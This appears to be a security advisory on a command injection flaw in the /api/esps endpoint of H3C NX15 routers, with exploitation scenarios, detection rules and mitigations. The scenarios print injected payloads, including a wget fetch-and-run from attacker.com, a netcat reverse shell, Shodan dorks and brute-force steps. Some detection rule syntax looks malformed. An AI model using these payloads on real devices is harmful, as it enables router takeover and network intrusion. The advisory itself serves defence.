CVE-2026-18813

Executive Summary

CVE-2026-18813 is a critical command injection vulnerability residing in the delete function of the /api/esps endpoint on H3C NX15 routers running firmware V100R017. The vulnerability, caused by improper sanitization of the esps.apcm.version argument, allows a remote authenticated attacker to execute arbitrary operating system commands with elevated privileges, leading to full device compromise. The attack vector is network-based, requires high privileges, and does not require user interaction, making it particularly dangerous in enterprise edge deployments where H3C NX15 devices may be exposed to internal or external networks. Given the public disclosure of exploit details, immediate mitigations are required, as no official patch is currently available.

Technical Analysis

The H3C NX15 is a dual-band Wi-Fi 6 router commonly deployed in SMB and enterprise branch office environments. The firmware V100R017 exposes a RESTful API endpoint at /api/esps, which handles configuration operations related to the "Enhanced Service Platform System" (ESPS). The affected function is delete, used to remove a specific version of the APCM (Application Platform Configuration Manager) package.

The vulnerability is classified as CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component), commonly known as command injection. The root cause is insufficient input validation of the esps.apcm.version parameter. When an HTTP DELETE request is sent to /api/esps, the value of this parameter is concatenated directly into a shell command without proper sanitization or use of safe-execution APIs.

Code-level analysis (inferred from the vulnerability class and H3C firmware patterns):

// Vulnerable pseudo-code pattern observed in H3C firmware
void api_esps_delete(const char *apcm_version) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "delete_apcm_package %s", apcm_version);
    system(cmd);  // ← Command injection point
}

An attacker who can authenticate to the device management interface can craft a request where the esps.apcm.version parameter contains shell metacharacters such as ;, |, &&, or command substitution $(...). For example:

DELETE /api/esps HTTP/1.1
Host: <router-ip>
Content-Type: application/json
Authorization: Bearer <valid-token>

{"esps": {"apcm": {"version": "1.0;reboot"}}}

The injected command executes with the privileges of the web server process, which on H3C NX15 typically runs as root.

The attack surface includes:

• Management web interface (default port 80/443) — most likely attack vector.
• Telnet/SSH management — not directly vulnerable but could be leveraged post-exploitation for persistence.
• SNMP or other management protocols — not affected by this specific flaw.

Authentication requirements: The vulnerability requires High (H) privileges per the CVSS vector (PR:H). This means an attacker needs a valid administrator-level account on the device, OR authentication is improperly implemented (e.g., default credentials active, credential stuffing campaigns).

Exploitation Scenarios

Attack Scenario 1: Internal Network Compromise (Credentialed)

1. Reconnaissance: An attacker with internal network access (e.g., a compromised employee workstation, pivoted from another breach) scans for H3C NX15 devices using Shodan dorks or internal Nmap scans targeting port 80/443 with HTTP title "H3C" or product fingerprint product:"H3C NX15".

2. Authentication Bypass / Credential Acquisition: The attacker uses default credentials (admin/admin — a known issue with many H3C SOHO devices) or harvested credentials from a prior phishing campaign targeting IT staff.

3. Weaponization: The attacker crafts a malicious HTTP DELETE request to /api/esps with a payload in the esps.apcm.version field:

   DELETE /api/esps HTTP/1.1
   Host: 192.168.1.1
   Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
   Content-Type: application/json
   
   {
     "esps": {
       "apcm": {
         "version": "1.0; wget http://attacker.com/payload.sh -O /tmp/.x; chmod +x /tmp/.x; /tmp/.x &"
       }
     }
   }
   

4. Execution: The web backend executes the injected command via system(). The payload downloads and executes a reverse shell (e.g., using BusyBox nc -e /bin/sh attacker.com 4444) or establishes persistence via a /etc/init.d script.

5. Post-Exploitation:

   • Lateral Movement: The compromised router becomes a pivot point into the internal LAN. The attacker uses the router's routing table and ARP cache to map the network.
   • Traffic Interception: The attacker enables port mirroring or modifies routing rules to sniff unencrypted traffic passing through the router.
   • Persistent Access: The attacker modifies firmware configuration to include a hardcoded backdoor user in /etc/passwd or replaces critical binaries.
   • Ransomware / Data Exfiltration: Internal servers reachable through the router are attacked, leading to data theft or lateral ransomware spread.

Attack Scenario 2: Internet-Exposed Device

1. Reconnaissance: Shodan search for exposed H3C NX15 devices using http.title:"H3C" country:"US" or product:"H3C NX15" port:443.

2. Brute-Force / Credential Stuffing: Automated tools (e.g., Hydra, Medusa) are used against the login endpoint to obtain admin credentials.

3. Same exploitation chain as Scenario 1 — the attacker gains a foothold on a public-facing device, which serves as an initial entry point into the enterprise network via VPN or site-to-site tunnels.

Impact Assessment

CVSS Score: 7.2 (High)

• Confidentiality Impact: High — An attacker gains root privileges on the device, enabling access to routing tables, VPN credentials, DNS configurations, and potentially stored Wi-Fi PSK.
• Integrity Impact: High — Arbitrary command execution allows modification of firmware, firewall rules, and device configuration.
• Availability Impact: High — The attacker can reboot the device, modify routing causing network outage, or brick the device entirely by corrupting the firmware.

Business Impact:

• Network Infrastructure Compromise: The H3C NX15 is the network edge; compromise grants foothold into the internal network.
• Data Exposure: Sensitive data traversing the router (unencrypted protocols like HTTP, Telnet, SNMP v1/v2) can be intercepted.
• Supply Chain Risk: Compromised routers can be used to launch further attacks against connected systems, including POS systems or SCADA equipment in branch sites.

Blast Radius:

• The H3C NX15 is typically the primary gateway for branch offices. A compromise affects all devices behind it.
• Firmware-level access allows the attacker to survive reboots and survive most antivirus removals.
• No patch exists, so every deployed NX15 V100R017 is vulnerable indefinitely until vendor action.

CISA KEV: Not listed — no known exploitation-in-the-wild yet, but the public disclosure accelerates risk.

Detection Guidance

Sigma Rule

title: H3C NX15 cmd Injection in /api/esps delete
id: 8f3a1c2d-4b5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests to /api/esps with suspicious shell metacharacters in esps.apcm.version
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18813
date: 2026/01/15
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: webserver
    product: generic
detection:
    selection_method:
        cs-method: DELETE
    selection_path:
        cs-uri-path: '/api/esps'
    selection_payload:
        cs-uri-query|contains:
            - 'esps.apcm.version'
    selection_injection:
        cs-uri-query|contains:
            - ';'
            - '|'
            - '$('
            - '`'
            - '&&'
            - '||'
    condition: selection_method and selection_path and selection_payload and selection_injection
fields:
    - client_ip
    - user_agent
    - cs-uri-query
level: critical
falsepositives:
    - Legitimate management scripts using version identifiers with special characters (unlikely)

YARA Rule

rule H3C_NX15_CMD_INJECTION_CVE_2026_18813
{
    meta:
        author = "valtersit.com Threat Intel"
        description = "Detects exploit payloads targeting CVE-2026-18813 in H3C NX15"
        date = "2026-01-15"
        reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18813"
        severity = "high"
    strings:
        $a = "DELETE /api/esps" ascii wide
        $b = "esps.apcm.version" ascii wide
        $c1 = ";reboot" ascii wide
        $c2 = "|id" ascii wide
        $c3 = "$(cat" ascii wide
        $c4 = "`uname" ascii wide
        $c5 = "&&wget" ascii wide
        $c6 = "&&curl" ascii wide
        $c7 = ";chmod" ascii wide
        $c8 = ">/tmp/" ascii wide
    condition:
        uint16(0) == 0x0a0d or filesize > 100
        and $a and $b and any of ($c*)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT H3C NX15 /api/esps Command Injection Attempt (CVE-2026-18813)"; flow:to_server,established; http.method:"DELETE"; http.uri:"/api/esps"; http.uri_content:"esps.apcm.version"; content:";"; http.uri_content; content:"|"; distance:0; http.uri_content; content:"$("; distance:0; http.uri_content; content:"&&"; distance:0; http.uri_content; classtype:attempted-admin; reference:cve,2026-18813; sid:202600113; rev:1; metadata:attack_target_router, deployment_internal, signature_severity_Critical, created_at_2026_01_15, updated_at_2026_01_15;)

Elastic Detection

sequence by source.ip with maxspan=5s
  [ network where dns.question.name : "*" and http.request.method == "DELETE" and http.request.uri == "/api/esps" ]
  [ process where process.command_line : "*esps.apcm.version*" and (process.command_line : "*;*" or process.command_line : "*|*" or process.command_line : "*$(*" or process.command_line : "*&&*") ]

Splunk SPL Query

index=web sourcetype="access_combined" method=DELETE uri=/api/esps*
| search "*esps.apcm.version*" AND (";" OR "|" OR "$(" OR "`" OR "&&")
| table _time, src_ip, dest_ip, user, uri_query
| sort - _time
| eval severity="CRITICAL"
| head 100

Wazuh OSSEC Rule

<group name="syslog, web_access,">
  <rule id="202613" level="15">
    <if_sid>web_apps</if_sid>
    <method>DELETE</method>
    <url>/api/esps</url>
    <match>esps.apcm.version</match>
    <regex>(;|\||\$\(|`|&&)</regex>
    <description>Potential command injection via /api/esps on H3C NX15 (CVE-2026-18813)</description>
    <group>attack_command_injection,</group>
    <mitre>
      <id>T1059</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED (no patch evidence from any tracked source).

1. Immediate Mitigations (apply now):

• Restrict Management Access: Configure access control lists (ACLs) on the router's WAN interface to block access to the management web interface (ports 80, 443) from the internet. Only allow management traffic from trusted internal IP ranges.
• Change Default Credentials: Immediately change all default administrator passwords on every H3C NX15 device. Use strong, unique passwords (16+ characters).
• Disable Remote Management: If remote management is not absolutely required, disable the web management interface entirely. Use CLI via SSH with key-based authentication instead.
• Network Segmentation: Isolate management interfaces onto a dedicated VLAN with strict firewall rules. Do not expose the router's management plane to general user traffic.

2. Patch/Upgrade Steps (when available):

• Monitor Vendor Advisories: H3C is aware of the disclosure. Check the H3C official Security Advisory page (www.h3c.com) and the H3C Errata database weekly for a firmware update addressing this CVE.
• Upgrade Path: When a patched firmware (e.g., V100R018 or later) is released, schedule a maintenance window to apply it. Before upgrading, backup the device configuration to a secure location.
• Validate Integrity: Verify checksums of any downloaded firmware against official H3C MD5/SHA256 values.

3. Long-Term Hardening:

• Enable HTTPS with a valid certificate for management traffic instead of HTTP.
• Implement 2FA if supported by the device or by placing an AAA/TACACS+ server in front of management.
• Deploy network-based IDS/IPS (Suricata/Snort) at the network perimeter with the detection rules above to monitor for exploitation attempts.
• Conduct regular vulnerability scans of your network edge devices.
• Replace EOL devices: If the H3C NX15 reaches end-of-life without a patch, plan for hardware replacement with a vendor that provides timely security updates.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-18813 — Contains official CVSS scoring and description.

2. H3C Security Advisory: https://www.h3c.com/en/Support/Resource_Center/GB/Home/Security_Advisories/ — Monitor this page for future vendor patch announcements.

3. MITRE CVE List: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18813 — CWE-74 classification reference.

4. Shodan Search: https://www.shodan.io/search?query=product%3A%22H3C+NX15%22 — Tracks exposed H3C NX15 devices in real-time.

5. FIRST.org CVSS Calculator: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — For validating the scoring vector.

Threat Actor Campaigns: As of this report, there are no confirmed in-the-wild exploit campaigns attributed to specific APT groups. However, the public disclosure of exploit technique increases the likelihood of adoption by botnet operators (e.g., Mirai variants) targeting IoT devices. The absence from CISA KEV indicates no CISA-verified exploitation, but this status can change rapidly after publication.